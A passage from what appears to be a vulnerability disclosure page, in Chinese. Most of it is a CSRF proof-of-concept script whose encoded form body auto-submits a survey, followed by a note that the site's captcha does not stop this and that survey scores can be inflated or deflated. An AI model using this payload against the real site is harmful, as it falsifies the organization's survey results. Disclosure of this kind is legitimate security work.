lt5%2Fu56CzOAQt54bhIK7nLSx71n4mNm3pLXlPjl3YJM0GLCz1NVfK3qTLiscJB8Smz%2FnisWmjgXY6JU7iS2anor8Lo4%2Fy0ZGH6x34U9dR9QxU3WjgEXrDPZBuab%2BRKpgQWhHi%2BYpby4uLhgX7K3V%2Fv3LP%2FWp68pFt71KHp7qGbvp0Tf0y1oBa3MUOOfsX54DvPKkBLBbCct8VsTZSeQIghnebTyqnp%2FG%2Bcqp8VnYxRvzrBdOy3YoHHiSPQ9Ij8hceKJgo4SmOgW8Au8qz%2BnhzTLzW%2BvyV3v9HlBlooBragZvv8nB5t655js1v83hD%2FEOk5BvXD3%2BMtZ0j2XzDEc8Oxx%2BtZdqhQZjxyq8%2F2422OoDH60tFIaJrcIDsTzsyFbUrBA7kZihD36XxAVt9moLmIdA3j0keXjhvUZJZ4HWOWfKlWoZdoET4zOd4fUU2DKdN7Q3MH9x%2BEXGFYP47snVUEAJsDLepivHOKMNzFyzuNX5a2q8pzEA3O255xEOb9GUlv7Gs%2B9qIH8MfTtXQNiPn%2By4tON11M20ezKjJGjvr8rFAbgGVSX7266%2B7VCKSTHZsg6nGTf%2FprLGBt22EAXN8wNyyMk4%2FKCdPnWSsrLDFU28d%2BoTiWWN2WzlaapvpdSJqFC35xNCnWC8h8wieT6xTdZ8%2FzAuwmRjPh4B8J8Sck%2BleSsTOwhId9piSQbEi7SATpF%2BegJ2lRI4%2BJietzCNTtKJKtUm0h8HdoVCcaUuI2jFKgIlnD9QRYYrsfJn1gXoYhDLAZJ3bFsXh4pHYZVeyFd9L0R7v98LkoKE1ZhH%2FAJsUV1EfPg7jtzecE3QfblDB8OqILscpp%2BBZzmxTvvo6s27CuA6xPJt0zborvHdXNcxlvvyhOXqnjAT8kLj6WR%2B1Pqss7QZJpKaOxS0LMoZ3kHQdtV791PSs4EG4J1rJFotlv%2BkBjbrmicmhSlrfnpoyCYKHezixmxS3X2%2F5HJvj1I1qUBarf%2FYndD6%2BLw2tvVGksdGwqrd8eTsCYqMnBUGF69%2BheOexwwmUOMVsn8BquEC6dZWalnEc%2Fc4jF6dwBKjsBj4dOVvncXQTOfw%2BlOOclaMC%2BET64N7iNSmAFSIXkF4JPWgDGUCAI8SkchADnL1w98JllnNmnJBlIhHVs4ZsXCiOFqDmL4%2BxQs%2BXn8e6lfJ6lxo5%2FPGXs26XhiBH8q9f3MTCTBupLhb9816lNOLnxSMqKQaZD%2BZ5%2FmBKeoC1KGNkPdgfDenqGqZu5wRl4gQIM8oz0Hqxqpl9urlt2VEDRZybKFU8keaVRsjQC0%2FPMHLAMFMzIV0XLoBXgwCKlvMihHt6yZ9TSL32NzWJ0NG8iEStWKGoqlhMxFsJ6zoYzOL12DwXuwnIsvqJ96t%2FiC8ZqTmOSJ%2BsKR2vB7Jw%2BUufG5WQrPd%2BGGpGKTDi%2Bno6xxVZ2x4DVv2PJ5P8cujcm3YX32bLUcSZGh197vHbFy5Lrq2dNb1arUTAOKPA8zIMNvJ0FdcVaHPeXUrBps0yRNJKsA1dzgIc8Q4CB3G2oZgppsyUBB3ffln82RMevS2tbtieFVHSCTuCgDMRnHR%2B6%2BvYW7SuW9Gkz8DoJu21c1xDcWTko17ZrKZN2Gm3yN46f0XZLDXGkTzijHEvVohRc6IboTwcComGrFI%2F9QOjM28qbNsoNFEtL0EvH8KAxH9B3BCe4tLxgRhQCtNj1RuVIbeDeV421CpPU3clMAtohGitgPyay8%2F8XnYWisOZycorPWhJ47Mxv1MwWPTu1Fi0xe9oLFbc9sG7YwBWbmOXyS5EpQIFo2hlZ57Khi4RjMCEEFI7oCYEtBawkFDU8G7mOrYoG88FPRBdqat%2F3e6J3DmI1isIROwtiTz6ireXviyKNgbaFYHktsYc8YWzJQvj5vMgompoBYREwQwsOUdBVMc7OJ3dDMJVtiHIcsOES0nD6mAZx0O0SNJvBCiRDbUaHcMlLObxnPNoj9abTH3GmVblmBixYbqXAfaUiXjlZjgRrQvIwqLFgRwcPjq32jfsyOTpvHurwumXOAvE8Au3l3PnctXwpxOve%2FYMmxM26UqY%2FrCBABYBhBZt0lI7br0py%2FWVZMRUqUMisQOzMHGPE%2Btle46q1Mpw84Bkc3GZ6sRaULjZcx16jeA%2BOq7VGjHJf4i4A%2FGpowuYkGrhG9XYXowC18CUy%2BsAt8VXp%2BeZ6N7x3qHT7rHkg%2B%2B1esXIR3gnOLamRoyw4tLgn7jVIeJYxpUKyhoEuL93P4uT9FKP%2BPsJ%2Fb63XvbJPibyYGxsgbFYm9XhPXq%2BLpK0VyNW5crGHx%2BmDqhIyMPVa8FLyD3meSQ34eDDh0RPWUjMfuuZ6j%2F0h6YaHnZ3rNZO6ZciQcBDNw5Xi5Y26narIHReRaYmS7Pz6Crg9YMo5x9ZbxcXEyuZ9He0rnjkLPB3ynK%2FPoEnRA%2FK59RUo3UR98X9md6tXBmMiI70dIKk%2FdqbAS3SoM9SHeI0tQvIdf4R%2FimavB8MxNwyoRVEoAbVFgw%2FKCtyUaslLe4Sq%2Fpe%2BogeU20tu7h11sZygiSO5b7ZimFbes8AK8XBsdtC%2B%2F2XlfSER%2BIgwsbWzsOglfEpJkHzyOsrgz6rlkb8UZD7ima1uzyTaesOB37RklECmuSs7m%2BrROXW5sb%2F1hMICBStufl8WaZK6QqaBTfOk3IqQumpWhfFwRVOjNzF7Ny5fqc6m5haT2%2FikXTCe%2ByIiTCeB2py1GHMExZzyBDcEr5eJSG39XAPTCtrtUlSiwuE7JBjrIQ4kjAjPmZf%2FnUumxAXt3CaEKSf3SMuezoSIMbpyCMWjMjU4I6fsSM8diasKDJcOgvT4rcidcZ5Ls1ZiDm9Zmxk0AjhhXfi8ZpVYOlZi5GkdNo7ox5Oeww95wZLd1%2Fqr%2FmeMk%2F5iXSkDpj5%2BE%2FoZeM63ZgAVh6N4PLohO9lBKnfevx7gkPzbCBRGHB%2FS8MUeMTSNEQfiJdw7VH0AtRKogkCh%2FRAI9Z1togn3Qcw9JH0YiTfM%2FDusUPmLEVa%2FrlGAsX6QdhxM9eSO3GOCSJNMkskeue0uvB8lkU1K%2FQVvQkvNOP0vla9%2FekojDARMx%2Fl4hUaQJPFgYEHe8bC0WhPzrE4mNqCXcywo63RahgAq64E1ES2VfACxqQSq1FvRdrPQBALifpNfHvzHXYe5c7xRZCNTAyq0%2Fipk2%2BmLUB70c7X%2BCfE%2BxZAnPD9IqEIRYUN51TA1E7PA8e7lhjha%2B8hWgEyLKEQ2DaacK4dXpgS1UgD2XfDP6eHRHBst%2FnLAAvFiL1TsgB5jjxAP1Ii7sWpgFJutDUMb8%2FHW2jjdP319zo72iaeaKH70eFXz56vKt9ebR3YnBGc8xuq6DRAg0KUUHk4Vme6EsAbx0EXPApiym9yIcA9L8ufr9U9fM8Nj%2FUet3Nt2zQjrFeJ5hhjdDjYOYkOP91a6YLq5JzZjFcm8yhoE1%2FjcoCLpsj7E%2Bxpqhi5VYgqdRd421vvmR9%2FfNwdxStKIMdKMoEtjD61Vl5zCFArAdB9OdNj%2F6dObZUXCc2j8mP7TTFLFaY2T5UTuNXExHv7EErRj6o81koXLP2YvxAfV2pyK8zN7ZtqxfBFWUsbuomFeYgKVQq26jQOxB25pic2rkXfAMk9gJes09JsjLcwLBpXN1%2BqUFpvQsKvpjj1juuMRkRv%2BvYlZKxyRMRAbRW0LU99I3tv3CmZtdmJpjh9ujH5vg47C6%2BkJ%2BIW4PBHUPG3woCovHjl8lE4ZvHLynlW6ZLwVkfs6XAB3R7o2c7YuyvNwX3Ic%2BM14HPsoUeVUYFvG%2BHMFJ%2FXKT01tJwHunBHoBER5vPxFzzJSoUUOgTHiobTVW8CeWKx%2Budd%2FnCIowO6ltZkFHfiN3CNard9kvgUgINzPSccVbMmtk885dk3dlFcID7tVasx%2FMJGOcInThuHD6sogP9e8opLSIIqvUqMF5PqssGIyugO6C4wPDR9KMrurthh65MSGAMMrOQMIqXxjVcX4eJJGEHp%2FvMeOCmAbhgRIVDhKNTq9JaV73WIyPGdqmsCv5d2YFboSs3GETI5WGFOlIxnj9D5fd5P6wYkbYtmjFaMYGmsWz1%2BMRzwvgSUXAbeYgcGIJCB2RzLLvIOGOeAI55BiiYnhut81XrLLP4bxfIyPHuiDPiglsunlC8zLWwroDiAVfkDH7iSkiYZGza81IZO%2FW4fKfL%2FTGknvoKVsJ3hWWq09yOwN9ZQkwxcH3DTh2lsh1Nx3i%2FoDLwXNTwDlcojBOTqUvrcPEw6Ynq5Fz%2B4Muy4r5hit6gRMZEh3vv6nXkog9UQ5nxgElkHwWjuaQ3RK%2F2uylcQzKK6j9z9ptdcXAzFd6PE4Frx%2FXH0wQLQkoBt6fdLbQLVDl7CZbv0nZuJHzEMUdlYuLCgPPHdLEkwokHMvLpdjvcHDl%2F4Os4zE8FofJP9N6RZ2IosuMXf3elGfXXd2GSQOuG6fD3XVwPB6hcI6CuUqVO27QKQTFUQ77s3gYXn6oR%2Fj21Abnq%2FgH0HSQFANeGHtoMMwehZW4AwyNccT%2BhW5fziUf0jAW%2Fxsx49soELDxduzPkgLdMbvuZtaP5XhVDWoqbWNbNRu0SC4M6g8NHxKK8UMgSbiWF79dAnlhgclP3L5XxVrdAJvSpSZvLSLb5j3uXANYZpUzeMOnW2mb1nmZDA4FA2kOT%2FHynYlXWmP%2FdPdIj32G%2B6NqHHkViwuTa26il5CjDNUq%2FHbsQfayX1RZFOHfSXmBWx4RVh6S%2BvPdkfLtsBt9BAgCMBHGbyU0v7KdFiGQ4jIX5tRQ6oqqDRitHob2ekCdGVTgyvXKn7F0Qds6FZRHsd5LIxVT0VDo7ttkHgOj5d%2Fb0igNdtY9pq2o1gOStR%2FpBBNyqavnW0FRYYLWID8HF47xFzF5IUH%2BCjG3sdQ3pSZcZ8RtlrEIcHxA7sFHRgYfwGQ0WsvTM%2FTja%2FPCLoBfPjG4aTtP2%2Fj8Ia9VTRL1WTgZiEVcyFzWHqxS9U7w%2FDLCyn0Njj6xZME2yH8%2FNqqJX0gZZg3B3OOp4VE11UnocY81sPE6Nqa6TxMiHKpJ748x7VHSt6oBi0%2Bi2z6xFuP6sr%2BEM90Z3OJ2fkikZWJPOpGFWTwus22luZHDF76NjweCu0IogmbcdSsJa%2FX8zrkBadOMJzsxN9xyTw%2FQ7L%2B5Zvc2ANrEdUptpufTOwN3PImZZbWx06Lt1LgX8gW%2BsClZBRtoVU7Be%2FFxDPl%2FCv0fKh4GSRQ2e%2BFzUtwBNgqaAp%2FVg%2BXRHo5ONYjBEDLsItV%2B18qoRKjTtsO4nUQLdiZviTS%2BV9%2FY60xysVSLiOjAYGX22SzsvWhKAvMf2i8WYfglppayZn38Gg68lUw%2BgiT1jVkhPS7%2BuQUOV3F8pWMDerv0DushJ96v3nMO%2FREFf9kUpFWFdsPc%2BEguRkwWQnz6cjSnQ5%2B0dt8YvRxTEYPv9vQyGm8skMhGq5GHl%2BV2nQUX%2B41atyIFnbvxVqM3JlnV5ieUYI42n4eQ3pC2p7Xxmf&ctl00%24UCHSearch%24txtSearch=&ctl00%24CPContent%24UcRadio_616375631277705603%24rbl=4&ctl00%24CPContent%24UcRadio_616375631263277456%24rbl=5&ctl00%24CPContent%24UcRadio_616375631227201350%24rbl=5&ctl00%24CPContent%24UcRadio_616375631212457763%24rbl=5&ctl00%24CPContent%24txtCode=4M8X&ctl00%24CPContent%24btnSend=%E7%A2%BA%E5%AE%9A%E9%80%81%E5%87%BA&__VIEWSTATEGENERATOR=25088334&__SCROLLPOSITIONX=275.5&__SCROLLPOSITIONY=1300&__VIEWSTATEENCRYPTED=&__EVENTVALIDATION=9UJuEW8esv1HPSXqvzq4sEV7kznf0SpqfwaBn9vLtaZMBtKFkj%2Fo1yYpgDDUjMMb1gr6HnGSj8r%2FjDlFDZOpkNeP1yo2eWpErcvD%2BvNoaBfgXLtLHONday7KA566ycou6CZH849HQ1renTvb7CqIy3XUPw0oM2cofyk%2F0M5VJqxC3RmE%2FCupsIobRXWLJv6pklDUq0%2BUenlfTU6%2BwPQ%2FQYrEStbQH1tqLYLaUwaICHGD%2FF74eZgY5HtOBtcT7qfYzATTGEUjw%2F%2FyuUlE1b9saxl%2B2GOiSiCxUL0P%2FeGuVZNj%2FmnR3qo4qrR%2FPdrHbkineyL8wQ%3D%3D");</script>
  2. 雖然該網站有驗證碼機制想要防止CSRF,但完全沒效用。只要開啟包含此段代碼之網頁,就會自動填表送出調查意見,可藉此惡意將意見分數洗高或洗低!
    圖片圖片圖片

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;